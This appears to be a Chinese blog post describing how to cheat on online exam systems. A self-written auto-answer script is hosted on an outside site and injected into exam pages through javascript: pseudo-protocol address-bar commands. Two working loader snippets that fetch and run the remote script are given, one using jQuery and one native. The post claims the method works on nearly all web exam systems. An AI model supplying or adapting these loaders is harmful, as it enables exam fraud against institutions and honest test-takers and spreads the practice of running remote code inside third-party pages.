总体思路就是利用javascript的DOM和BOM相关知识生成自动答题脚本,然后将脚本放在一个支持https协议的网站中。在试题页面的地址栏中利用javascript:伪协议来跨域引用网站的答题脚本。亲测本方式对所有网页版的考试系统均可用,除非该考试系统动态生成考试页面的元素。

         以下是利用javascript:伪协议引用答题脚本的几种形式,a.js为作好的答题脚本,https://a96668.com为存放a.js的网站:

        1、使用jquery库
javascript:$.getScript('https://a96668.com/a.js')

        本方式最好是考试系统已经引用过jquery库,这样可以提高速度,否则需要在脚本内引入。

        2、使用立即执行函数实现跨域请求 
javascript:(function () {
  script = document.createElement('script');
  script.src = `https://a96668.com/a.js`;
  document.body.appendChild(script);
})();
        本方式是使用原生js代码来执行答题脚本,不用引用jquery库,速度更快。

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐